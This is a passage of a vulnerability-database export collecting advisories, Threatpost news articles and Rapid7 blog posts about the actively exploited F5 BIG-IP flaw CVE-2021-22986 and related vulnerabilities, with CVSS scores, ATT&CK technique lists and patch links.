InterpreterT1059.003: Windows Command ShellT1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup FolderT1055: Process InjectionT1070.004: Indicator Removal on Host: File DeletionT1112: Modify RegistryT1497: Virtualization/Sandbox EvasionT1110: Brute ForceT1056.004: Credential API HookingT1012: Query RegistryT1018: Remote System DiscoveryT1057: Process DiscoveryT1021: Remote ServicesT1021.001: Remote Services: Remote Desktop ProtocolT1021.002: Remote Services: SMB/Windows Admin SharesT1056.004: Credential API HookingT1090.003: Proxy: Multi-hop ProxyT1567.002: Exfiltration Over Web Service: Exfiltration to Cloud StorageT1486: Data Encrypted for ImpactT1490: Inhibit System Recovery Vulnerability Details Indicators of Compromise (IoCs) Recent Breaches bridgestoneamericas.com accenture.com justice.fr Patch Link https://www.fortiguard.com/psirt/FG-IR-18-384 https://support.f5.com/csp/article/K03009991 References https://www.ic3.gov/Media/News/2022/220204.pdf https://threatpost.com/accenture-lockbit-ransomware-attack/168594/", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-03-15T10:07:18", "type": "hivepro", "title": "LockBit 2.0 Ransomware affiliates targeting Renowned Organizations", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2021-22986"], "modified": "2022-03-15T10:07:18", "id": "HIVEPRO:1825C4046C6054693C41D7D5DFD7BA10", "href": "https://www.hivepro.com/lockbit-2-0-ransomware-affiliates-targeting-renowned-organizations/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-23T09:28:58", "description": "For a detailed threat digest, download the pdf file here Published Vulnerabilities Interesting Vulnerabilities Active Threat Groups Targeted Countries Targeted Industries ATT&CK TTPs 567 22 5 36 15 60 The third week of March 2022 witnessed the discovery of 567 vulnerabilities out of which 22 gained the attention of Threat Actors and security researchers worldwide. Among these 22, there were 2 vulnerabilities about which the National vulnerability Database (NVD) is awaiting analysis, while 2 more of them are undergoing reanalysis, and 14 were not present in the NVD at all. Hive Pro Threat Research Team has curated a list of 22 CVEs that require immediate action. Furthermore, we also observed five threat actor groups being highly active in the last week. The Sandworm Team, a well-known Russian threat actor group popular for sabotage and destruction, was observed using a new malware known as Cyclops Blink. Additionally, a new threat actor, Exotic Lily, was acting as Initial Access Broker (IAB) for Conti and Diavol ransomware groups exploiting the zero-day vulnerability in Microsoft MSHTML (CVE-2021-40444). Another threat actor from Russia, UAC-0056, was observed targeting Western European and North American ministries as well as private sectors. Two ransomware gangs, Pandora and Lockbit, were active across different organizations around the globe. Common TTPs which could potentially be exploited by these threat actors or CVEs can be found in the detailed section below. Detailed Report: Interesting Vulnerabilities: Vendor CVEs Patch Link CVE-2021-20083 https://wordpress.org/news/2022/03/wordpress-5-9-2-security-maintenance-release/ CVE-2022-24728 CVE-2022-24729 https://www.drupal.org/project/drupal/releases/9.2.15 https://www.drupal.org/project/drupal/releases/9.3.8 CVE-2022-0337 https://download3.operacdn.com/pub/opera/desktop/84.0.4316.42/win/Opera_84.0.4316.42_Setup_x64.exe CVE-2022-0337 https://files02.tchspt.com/temp/MicrosoftEdgeSetup.exe Vendor CVEs Patch Link CVE-2022-0971 CVE-2022-0972 CVE-2022-0973 CVE-2022-0974 CVE-2022-0975 CVE-2022-0976 CVE-2022-0977 CVE-2022-0978 CVE-2022-0979 CVE-2022-0980 CVE-2022-0337 https://www.google.com/intl/en/chrome/?standalone=1 CVE-2022-0778 https://github.com/openssl/openssl/commit/a466912611aa6cbdf550cd10601390e587451246 https://github.com/openssl/openssl/commit/3118eb64934499d93db3230748a452351d1d9a65 CVE-2022- 25636 https://git.kernel.org/pub/scm/linux/kernel/git/netfilter/nf.git/snapshot/nf-b1a5983f56e371046dcf164f90bfaf704d2b89f6.tar.gz CVE-2021-22986 https://support.f5.com/csp/article/K03009991 CVE-2018-13379 https://www.fortiguard.com/psirt/FG-IR-18-384 CVE-2021-25220 CVE-2022-0396 CVE-2022-0635 CVE-2022-0667 https://www.isc.org/bind/ Active Actors: Icon Name Origin Motive Exotic Lily Unknown Ecrime UAC-0056 (SaintBear, UNC2589, TA471) Russia Information theft Pandora Ransomware Gang Unknown Ecrime, Information theft, and Financial gain Lockbit 2.0 Unknown Financial gain Sandworm Team (ELECTRUM, Telebots, IRON VIKING, BlackEnergy (Group), Quedagh, VOODOO BEAR) Russia Sabotage anddestruction Targeted Location: Targeted Sectors: Common TTPs: TA0042: Resource Development TA0001: Initial Access TA0002: Execution TA0003: Persistence TA0004: Privilege Escalation TA0005: Defense Evasion TA0006: Credential Access T1587: Develop Capabilities T1190: Exploit Public-Facing Application T1059: Command and Scripting Interpreter T1547: Boot or Logon Autostart Execution T1547: Boot or Logon Autostart Execution T1562: Impair Defenses T1557: Adversary-in-the-Middle T1587.001: Malware T1133: External Remote Services T1059.007: JavaScript T1547.001: Registry Run Keys / Startup Folder T1547.001: Registry Run Keys / Startup Folder T1562.004: Disable or Modify System Firewall T1110: Brute Force T1588: Obtain Capabilities T1566: Phishing T1059.004: Unix Shell T1037: Boot or Logon Initialization Scripts T1037: Boot or Logon Initialization Scripts T1070: Indicator Removal on Host T1110.001: Password Guessing T1588.006: Vulnerabilities T1566.001: Spearphishing Attachment T1059.003: Windows Command Shell T1037.004: RC Scripts T1037.004: RC Scripts T1070.004: File Deletion T1056: Input Capture T1078: Valid Accounts T1203: Exploitation for Client Execution T1133: External Remote Services T1068: Exploitation for Privilege Escalation T1036: Masquerading T1056.004: Credential API Hooking T1204: User Execution T1556: Modify Authentication Process T1055: Process Injection T1036.005: Match Legitimate Name or Location T1556: Modify Authentication Process T1204.002: Malicious File T1137: Office Application Startup T1078: Valid Accounts T1556: Modify Authentication Process T1003: OS Credential Dumping T1047: Windows Management Instrumentation T1542: Pre-OS Boot T1112: Modify Registry T1003.003: NTDS T1542.001: System Firmware T1027: Obfuscated Files or Information T1137: Office Application Startup T1027.006: HTML Smuggling T1137.001: Office Template Macros T1027.002: Software Packing T1078: Valid Accounts T1542: Pre-OS Boot T1542.001: System Firmware T1055: Process Injection T1078: Valid Accounts T1497: Virtualization/Sandbox Evasion TA0007: Discovery TA0008: Lateral Movement TA0009: Collection TA0011: Command and Control TA0010: Exfiltration TA0040: Impact T1087: Account Discovery T1021: Remote Services T1557: Adversary-in-the-Middle T1071: Application Layer Protocol T1041: Exfiltration Over C2 Channel T1485: Data Destruction T1083: File and Directory Discovery T1021.001: Remote Desktop Protocol T1560: Archive Collected Data T1071.001: Web Protocols T1567: Exfiltration Over Web Service T1486: Data Encrypted for Impact T1057: Process Discovery T1021.002: SMB/Windows Admin Shares T1560.001: Archive via Utility T1132: Data Encoding T1567.002: Exfiltration to Cloud Storage T1565: Data Manipulation T1012: Query Registry T1056: Input Capture T1132.002: Non-Standard Encoding T1499: Endpoint Denial of Service T1018: Remote System Discovery T1056.004: Credential API Hooking T1573: Encrypted Channel T1499.004: Application or System Exploitation T1518: Software Discovery T1573.002: Asymmetric Cryptography T1490: Inhibit System Recovery T1082: System Information Discovery T1008: Fallback Channels T1498: Network Denial of Service T1497: Virtualization/Sandbox Evasion T1105: Ingress Tool Transfer T1498.001: Direct Network Flood T1571: Non-Standard Port T1090: Proxy T1090.003: Multi-hop Proxy Threat Advisories: Pandora Ransomware Targets Multiple Plants around the Globe LockBit 2.0 Ransomware affiliates targeting Renowned Organizations Sandworm Team using a new modular malware Cyclops Blink Environment Variables Leak affect Multiple browsers Major Content Management Systems affected by Multiple vulnerabilities New Threat Actor Exotic Lily acting as Initial Access Broker for Conti and Diavol ransomware group Russian threat actors leveraging misconfigured multifactor authentication to exploit PrintNightmare vulnerability Russian threat actor UAC-0056 targets European countries Multiple Google Chrome Vulnerabilities affects all Platforms Attackers could gain root access using vulnerability in Linux Kernel Netfilter Firewall OpenSSL exposed to Denial-of-service vulnerability causing Infinite Loop Attackers Escape Kubernetes Containers using \u201ccr8escape\u201d Vulnerability in CRI-O Russia under Attack from New RURansom Wiper", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-03-23T04:17:40", "type": "hivepro", "title": "Weekly Threat Digest: 14 \u2013 20 March 2022", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2021-20083", "CVE-2021-22986", "CVE-2021-25220", "CVE-2021-40444", "CVE-2022-0337", "CVE-2022-0396", "CVE-2022-0635", "CVE-2022-0667", "CVE-2022-0778", "CVE-2022-0971", "CVE-2022-0972", "CVE-2022-0973", "CVE-2022-0974", "CVE-2022-0975", "CVE-2022-0976", "CVE-2022-0977", "CVE-2022-0978", "CVE-2022-0979", "CVE-2022-0980", "CVE-2022-24728", "CVE-2022-24729"], "modified": "2022-03-23T04:17:40", "id": "HIVEPRO:B772F2F7B4C9AE8452D1197E2E240204", "href": "https://www.hivepro.com/weekly-threat-digest-14-20-march-2022/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "checkpoint_advisories": [{"lastseen": "2022-10-04T10:05:39", "description": "A remote code execution vulnerability exists in F5 BIG-IP devices. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.1, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.9, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-03-22T00:00:00", "type": "checkpoint_advisories", "title": "F5 BIG-IP Remote Code Execution (CVE-2021-22986; CVE-2021-22987; CVE-2022-1388)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986", "CVE-2021-22987", "CVE-2022-1388"], "modified": "2022-08-30T00:00:00", "id": "CPAI-2021-0198", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2021-03-19T21:53:52", "description": "Attackers are exploiting a recently-patched, critical vulnerability in F5 devices that have not yet been updated.\n\nThe unauthenticated remote command execution flaw (CVE-2021-22986) exists in the F5 BIG-IP and BIG-IQ enterprise networking infrastructure, and could allow attackers to take full control over a vulnerable system.\n\nEarlier in March, F5 [issued a patch for the flaw](<https://threatpost.com/f5-cisa-critical-rce-bugs/164679/>), which has a CVSS rating of 9.8 and exists in the iControl REST interface. After the patch was issued, several researchers posted proof-of-concept (PoC) exploit code after reverse engineering the Java software patch in BIG-IP.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nFast forward to this week, researchers reported mass scanning for \u2013 and in-the-wild exploitation of \u2013 the flaw.\n\n\u201cStarting this week and especially in the last 24 hours (March 18th, 2021) we have observed multiple exploitation attempts against our honeypot infrastructure,\u201d said researchers with the NCC Group [on Thursday](<https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/>). \u201cThis knowledge, combined with having reproduced the full exploit-chain we assess that a public exploit is likely to be available in the public domain soon.\u201d\n\n## CISA, Researchers Urge Updating\n\nThe U.S. Cybersecurity and Infrastructure Agency (CISA) has [urged](<https://us-cert.cisa.gov/ncas/current-activity/2021/03/10/f5-security-advisory-rce-vulnerabilities-big-ip-big-iq>) companies using BIG-IP and BIG-IQ to fix the critical F5 flaw, along with another bug being tracked as [CVE-2021-22987](<https://support.f5.com/csp/article/K18132488>). This flaw, with a CVSS rating of 9.9, affects the infrastructure\u2019s Traffic Management User Interface (TMUI), also referred to as the Configuration utility. When running in Appliance mode, the TMUI has an authenticated RCE vulnerability in undisclosed pages.\n\n> Opportunistic mass scanning activity detected from the following hosts checking for F5 iControl REST endpoints vulnerable to remote command execution (CVE-2021-22986).\n> \n> 112.97.56.78 (\ud83c\udde8\ud83c\uddf3) \n13.70.46.69 (\ud83c\udded\ud83c\uddf0) \n115.236.5.58 (\ud83c\udde8\ud83c\uddf3)\n> \n> Vendor advisory: <https://t.co/MsZmXEtcTn> [#threatintel](<https://twitter.com/hashtag/threatintel?src=hash&ref_src=twsrc%5Etfw>)\n> \n> \u2014 Bad Packets (@bad_packets) [March 19, 2021](<https://twitter.com/bad_packets/status/1372818419611885576?ref_src=twsrc%5Etfw>)\n\nThe scenario is particularly urgent as F5 provides enterprise networking to some of the largest tech companies in the world, including Facebook, Microsoft and Oracle, as well as to a trove of Fortune 500 companies, including some of the world\u2019s biggest financial institutions and ISPs.\n\n\u201cThe F5 BIG-IP is a very juicy target due to the fact that it can handle highly sensitive data,\u201d said Craig Young, principal security researcher at Tripwire in an email. \u201cAn attacker with full control over a load balancing appliance can also take control over the web applications served through it.\u201d\n\nIt\u2019s not clear who is behind the exploitations; Threatpost has reached out to NCC Group for further comment.\n\n## **Other Active Exploits of F5 Flaws**\n\nSecurity experts [in July urged companies](<https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/>) to deploy an urgent patch for a critical vulnerability in F5 Networks\u2019 networking devices, which was being actively exploited by attackers to scrape credentials, launch malware and more. The critical remote code-execution flaw ([CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)) had a CVSS score of 10 out of 10.\n\nAnd in September, the U.S. government warned that Chinese threat actors successfully compromised several government and private sector entities by [exploiting vulnerabilities in F5 BIG-IP devices](<https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/>) (as well as Citrix and Pulse Secure VPNs and Microsoft Exchange servers).\n\nFor this latest rash of exploit attempts, anyone running an affected version of BIG-IP should prioritize upgrade, said Young.\n\n\u201cAny organization running BIG-IP or other network appliance with the management access exposed to the Internet should be re-evaluating their network layout and bringing those assets onto private networks,\u201d he said.\n\n**_[Register for this LIVE Event](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>)_****_: 0-Day Disclosures: Good, Bad & Ugly:_** **_On Mar. 24 at 2 p.m. ET_**_, Threatpost_ tackles how vulnerability disclosures can pose a risk to companies. To be discussed, Microsoft 0-days found in Exchange Servers. Join 0-day hunters from Intel Corp. and veteran bug bounty researchers who will untangle the 0-day economy and unpack what\u2019s on the line for all businesses when it comes to the disclosure process. [Register NOW](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>) for this **LIVE **webinar on Wed., Mar. 24.\n", "cvss3": {}, "published": "2021-03-19T20:52:15", "type": "threatpost", "title": "Critical F5 BIG-IP Flaw Now Under Active Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5902", "CVE-2021-22986", "CVE-2021-22987"], "modified": "2021-03-19T20:52:15", "id": "THREATPOST:BC4ECD6616ADCCFFD5717D0A9A0D065B", "href": "https://threatpost.com/critical-f5-big-ip-flaw-now-under-active-attack/164940/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-03-11T14:39:21", "description": "F5 Networks is warning users to patch four critical remote command execution (RCE) flaws in its BIG-IP and BIG-IQ enterprise networking infrastructure. If exploited, the flaws could allow attackers to take full control over a vulnerable system.\n\nThe company released an advisory, Wednesday, on seven bugs in total, with two others rated as high risk and one rated as medium risk, respectively. \u201cWe strongly encourage all customers to update their BIG-IP and BIG-IQ systems to a fixed version as soon as possible,\u201d the company [advised](<https://www.f5.com/services/support/March2021_Vulnerabilities>) on its website.\n\nThe scenario is particularly urgent as F5 provides enterprise networking to some of the largest tech companies in the world, including Facebook, Microsoft and Oracle, as well as to a trove of Fortune 500 companies, including some of the world\u2019s biggest financial institutions and ISPs.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe U.S. Cybersecurity and Infrastructure Agency (CISA) also [urged](<https://us-cert.cisa.gov/ncas/current-activity/2021/03/10/f5-security-advisory-rce-vulnerabilities-big-ip-big-iq>) companies using BIG-IP and BIG-IQ to fix two of the critical vulnerabilities, which are being tracked as [CVE-2021-22986](<https://support.f5.com/csp/article/K03009991>) and [CVE-2021-22987](<https://support.f5.com/csp/article/K18132488>).\n\nThe former, with a CVSS rating of 9.8, is an unauthenticated remote command execution vulnerability in the iControl REST interface, according to a [detailed breakdown](<https://support.f5.com/csp/article/K02566623>) of the bugs in F5\u2019s Knowledge Center. The latter, with a CVSS rating of 9.9, affects the infrastructure\u2019s Traffic Management User Interface (TMUI), also referred to as the Configuration utility. When running in Appliance mode, the TMUI has an authenticated RCE vulnerability in undisclosed pages, according to F5.\n\nThe two other critically rated vulnerabilities are being tracked as [CVE-2021-22991](<https://support.f5.com/csp/article/K56715231>) and [CVE-2021-22992](<https://support.f5.com/csp/article/K52510511>). The first, with a CVSS score of 9.0, is a buffer overflow vulnerability that can be triggered when \u201cundisclosed requests to a virtual server may be incorrectly handled by the Traffic Management Microkernel (TMM) URI normalization,\u201d according to F5. This can result in a denial-of-service (DoS) attack, that, in some situations, \u201cmay theoretically allow bypass of URL based access control or remote code execution (RCE),\u201d the company warned.\n\nCVE-2021-22992 is also a buffer overflow bug with a CVSS rating of 9. This flaw can be triggered by \u201ca malicious HTTP response to an Advanced WAF/BIG-IP ASM virtual server with Login Page configured in its policy,\u201d according to F5. It also may allow for RCE and \u201ccomplete system compromise\u201d in some situations, the company warned.\n\nThe other three non-critical bugs being patched in F5\u2019s update this week are [CVE-2021-22988](<https://support.f5.com/csp/article/K70031188>), [CVE-2021-22989](<https://support.f5.com/csp/article/K56142644>) and [CVE-2021-22990](<https://support.f5.com/csp/article/K45056101>).\n\nCVE-2021-22988, with a CVSS score of 8.8, is an authenticated RCE that also affects TMUI. CVE-2021-22989, with a CVSS rating of 8.0, is another authenticated RCE that also affects TMUI in Appliance mode, this time when Advanced WAF or BIG-IP ASM are provisioned. And CVE-2021-2290, with a CVSS score of 6.6, is a similar but less dangerous vulnerability that exists in the same scenario, according to F5.\n\nF5 is no stranger to critical bugs in its enterprise networking products. In July, the vendor and other security experts\u2014including U.S. Cyber Command\u2014urged companies to deploy an urgent patch for a critical RCE vulnerability in BIG-IP\u2019s app delivery controllers that was being actively exploited by attackers to scrape credentials, launch malware and more. That bug, ([CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)), had a CVSS rating of 10 out of 10. Moreover, a delay in patching at the time left systems [exposed to the flaw](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>) for weeks after F5 released the fix.\n\n_**Check out our free **_[**_upcoming live webinar events_**](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:**_\n\n * March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly **([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>))\n * April 21: **Underground Markets: A Tour of the Dark Economy **([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-11T14:21:50", "type": "threatpost", "title": "F5, CISA Warn of Critical BIG-IP and BIG-IQ RCE Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5902", "CVE-2021-2290", "CVE-2021-22986", "CVE-2021-22987", "CVE-2021-22988", "CVE-2021-22989", "CVE-2021-22990", "CVE-2021-22991", "CVE-2021-22992"], "modified": "2021-03-11T14:21:50", "id": "THREATPOST:1D03F5885684829E899CEE4F63F5AC27", "href": "https://threatpost.com/f5-cisa-critical-rce-bugs/164679/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "rapid7blog": [{"lastseen": "2021-04-02T20:50:20", "description": "## Sprinkle on the Modules\n\n\n\n \nThe first quarter of 2021 has given us wave after wave of Exchange vulnerabilities, and while our awesome contributors helped us continue coverage with another Exchange module we were able to add to Metasploit, we also added modules covering very heavy-hitting vulnerabilities in F5, SAP, and SaltStack that may have gotten less notice in the shadow of the Exchange vulnerabilities earlier this quarter. This update offers two new modules from community contributor Vladimir Ivanov targeting remote code execution vulnerabilities in SAP, a new module by our own Will Vu covering a remote code execution vulnerability in F5 Big-IP and BIG-IQ devices that gives root access, and a new module by Metasploit team-member Chrisophe De La Fuente covering a remote code execution in Salt Stack also yielding root access. Then, to top it off, community contributor Erik Wynter contributed a scanner module to identify Nagios XI applications and suggest possible exploit modules that may work on the identified targets!\n\n## Search your Feelings\u2026 and POSIX filesystems!\n\nOur own [space-r7](<https://github.com/space-r7>) added the fs_search function into our Mettle payloads (A.K.A. POSIX Meterpreter). You can now search target filesystems just as you can with the Windows Meterpreter!\n\n## New Modules (6)\n\n * [SAP Solution Manager remote unauthorized OS commands execution](<https://github.com/rapid7/metasploit-framework/pull/14924>) by Dmitry Chastuhin, Pablo Artuso, [Vladimir Ivanov](<https://github.com/Vladimir-Ivanov-Git>), and Yvan Genuer, which exploits [CVE-2020-6207](<https://attackerkb.com/topics/CjM1DUFUOx/cve-2020-6207?referrer=blog>) This PR adds two modules to exploit a vulnerability in the SAP Solution Manager application. Successful exploitation of the vulnerability enables unauthenticated remote attackers to achieve SSRF and execute OS commands from the agent connected within the context of the application.\n * [Nagios XI Scanner](<https://github.com/rapid7/metasploit-framework/pull/14697>) by [Erik Wynter](<https://github.com/kalba-security>), which exploits [CVE-2020-35578](<https://attackerkb.com/topics/ftmpf6wgqi/cve-2020-35578?referrer=blog>) A new set of libraries have been added to support developers wishing to target Nagios XI machines, which should help to supply developers with several commonly used pieces of functionality. Additionally a scanner module has been added which will scan Nagios XI installations and try to detect the version installed. Once the version of Nagios XI has been obtained, it will then suggest exploits in Metasploit that can be used to exploit that version of Nagios XI, if any exploits are available.\n * [F5 iControl REST Unauthenticated SSRF Token Generation RCE](<https://github.com/rapid7/metasploit-framework/pull/14935>) by wvu and Rich Warren, which exploits [CVE-2021-22986](<https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986?referrer=blog>) This adds a module that exploits an unauthenticated SSRF vulnerability in F5's iControl REST API that is then leveraged to execute code as the `root` user on various versions of F5's BIG-IP and BIG-IQ devices.\n * [SaltStack Salt API Unauthenticated RCE through wheel_async client](<https://github.com/rapid7/metasploit-framework/pull/14950>) by Alex Seymour and [Christophe De La Fuente](<https://github.com/cdelafuente-r7>), which exploits [CVE-2021-25282](<https://attackerkb.com/topics/HtY90kt4ZL/cve-2021-25282?referrer=blog>) This adds an exploit module that exploits an authentication bypass and a directory traversal vulnerability in versions `3002.5` and below of SaltStack Salt's REST API. Remote code execution as the `root` user is achieved by writing a custom grain module to the extension module directory and waiting until a recurring maintenance check executes the malicious grain module.\n * [Windows Gather Exchange Server Mailboxes](<https://github.com/rapid7/metasploit-framework/pull/14869>) by [SophosLabs Offensive Security team](<https://github.com/sophosyaniv>). This PR adds a module for enumerating end extracting mailboxes on Exchange servers.\n\n## Enhancements and features\n\n * [#14937](<https://github.com/rapid7/metasploit-framework/pull/14937>) from [cgranleese-r7](<https://github.com/cgranleese-r7>) Improves the performance of the various `show` commands within the console. For instance `show exploits` now takes ~0.5 seconds instead of ~14 seconds\n * [#14945](<https://github.com/rapid7/metasploit-framework/pull/14945>) from [mekhalleh](<https://github.com/mekhalleh>) This updates the ProxyLogon RCE module to use an RPC request to identify the backend server's FQDN.\n * [#14951](<https://github.com/rapid7/metasploit-framework/pull/14951>) from [timwr](<https://github.com/timwr>) This updates the Linux Meterpreter implementation to support the `search` command which allows users to search for files on a compromised system.\n\n## Bugs Fixed\n\n * [#14918](<https://github.com/rapid7/metasploit-framework/pull/14918>) from [zeroSteiner](<https://github.com/zeroSteiner>) Fixes an issue where the `VHOST` option was not being correctly populated when the `RHOST` option was specified with domain names.\n * [#14962](<https://github.com/rapid7/metasploit-framework/pull/14962>) from [cgranleese-r7](<https://github.com/cgranleese-r7>) Updates the `nexpose_connect` login functionality to correctly handle the `@` symbol being present in the password\n * [#14966](<https://github.com/rapid7/metasploit-framework/pull/14966>) from [ryanpohlner](<https://github.com/ryanpohlner>) This improves the ProxyLogon RCE module to address an issue where a payload would be run twice.\n * [#14969](<https://github.com/rapid7/metasploit-framework/pull/14969>) from [timwr](<https://github.com/timwr>) This fixes a bug in the Python Meterpreter's DNS resolving function.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` and you can get more details on the changes since the last blog post from GitHub:\n\n * [Pull Requests 6.0.37...6.0.38](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-03-25T11%3A07%3A15-05%3A00..2021-04-01T08%3A47%3A57-05%3A00%22>)\n * [Full diff 6.0.37...6.0.38](<https://github.com/rapid7/metasploit-framework/compare/6.0.37...6.0.38>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. To install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the [binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {}, "published": "2021-04-02T19:49:02", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-35578", "CVE-2020-6207", "CVE-2021-22986", "CVE-2021-25282"], "modified": "2021-04-02T19:49:02", "id": "RAPID7BLOG:764CA6BDCBE5F8F001B5E508AE0659CC", "href": "https://blog.rapid7.com/2021/04/02/metasploit-wrap-up-105/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-03-25T16:50:12", "description": "\n\n**Update March 25, 2021:** CVE-2021-22986 is now being actively exploited in the wild by a range of malicious actors. Rapid7 has in-depth technical analysis on this vulnerability, including proof-of-concept code and information on indicators of compromise, available [here](<https://attackerkb.com/assessments/f6b19d24-b24e-4abd-98cf-2988d7424311>).\n\nOn March 10, 2021, F5 disclosed eight vulnerabilities, four of which are deemed "critical", the most severe of which is CVE-2021-22986, an **unauthenticated remote code execution** weakness that enables remote attackers to execute arbitrary commands on compromised BIG-IP devices:\n\n * [K03009991: iControl REST unauthenticated remote command execution vulnerability CVE-2021-22986](<https://support.f5.com/csp/article/K03009991>) (actively exploited in the wild)\n * [K18132488: Appliance mode TMUI authenticated remote command execution vulnerability CVE-2021-22987](<https://support.f5.com/csp/article/K18132488>)\n * [K70031188: TMUI authenticated remote command execution vulnerability CVE-2021-22988](<https://support.f5.com/csp/article/K70031188>)\n * [K56142644: Appliance mode Advanced WAF/ASM TMUI authenticated remote command execution vulnerability CVE-2021-22989](<https://support.f5.com/csp/article/K56142644>)\n * [K45056101: Advanced WAF/ASM TMUI authenticated remote command execution vulnerability CVE-2021-22990](<https://support.f5.com/csp/article/K45056101>)\n * [K56715231: TMM buffer-overflow vulnerability CVE-2021-22991](<https://support.f5.com/csp/article/K56715231>)\n * [K52510511: Advanced WAF/ASM buffer-overflow vulnerability CVE-2021-22992](<https://support.f5.com/csp/article/K52510511>)\n * [K66851119: F5 TMUI XSS vulnerability CVE-2021-22994](<https://support.f5.com/csp/article/K66851119>)\n\nOn March 18, 2021, NCC Group [reported seeing in the wild exploitation attempts](<https://twitter.com/NCCGroupInfosec/status/1372614697158053888?s=20>) and they, along with other sources, expect that final development of a complete attack chain is imminent.\n\nGiven that a complete exploit 